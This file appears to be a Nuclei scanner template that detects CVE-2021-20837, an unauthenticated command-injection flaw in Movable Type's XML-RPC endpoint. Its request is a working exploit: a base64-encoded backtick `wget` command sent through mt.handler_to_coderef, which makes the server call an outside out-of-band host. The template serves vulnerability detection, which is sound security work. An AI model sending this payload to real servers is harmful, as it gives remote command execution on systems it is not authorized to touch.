id: CVE-2021-20837

info:
  name: Unauthenticated RCE In MovableType
  author: dhiyaneshDK,hackergautam
  severity: critical
  description: 5002 and earlier (Movable Type Advanced 7 Series), Movable Type Advanced 6.8. 2 and earlier (Movable Type Advanced 6 Series), Movable Type Premium 1.46 and earlier, and Movable Type Premium Advanced 1.46 and earlier allow remote attackers to execute arbitrary OS commands via unspecified vectors.
  reference:
    - https://nemesis.sh/posts/movable-type-0day/
    - https://github.com/ghost-nemesis/cve-2021-20837-poc
    - https://twitter.com/cyber_advising/status/1454051725904580608
    - https://nvd.nist.gov/vuln/detail/CVE-2021-20837
  tags: cve,cve2021,rce,movable
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.80
    cve-id: CVE-2021-20837
    cwe-id: CWE-78

requests:
  - raw:
      - |
        POST /cgi-bin/mt/mt-xmlrpc.cgi HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/xml

        <?xml version="1.0" encoding="UTF-8"?>
        <methodCall>
          <methodName>mt.handler_to_coderef</methodName>
          <params>
            <param>
              <value>
                <base64>
                  {{base64("`wget http://{{interactsh-url}}`")}}
                </base64>
              </value>
            </param>
          </params>
        </methodCall>

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: word
        words:
          - "failed loading package"

      - type: status
        status:
          - 200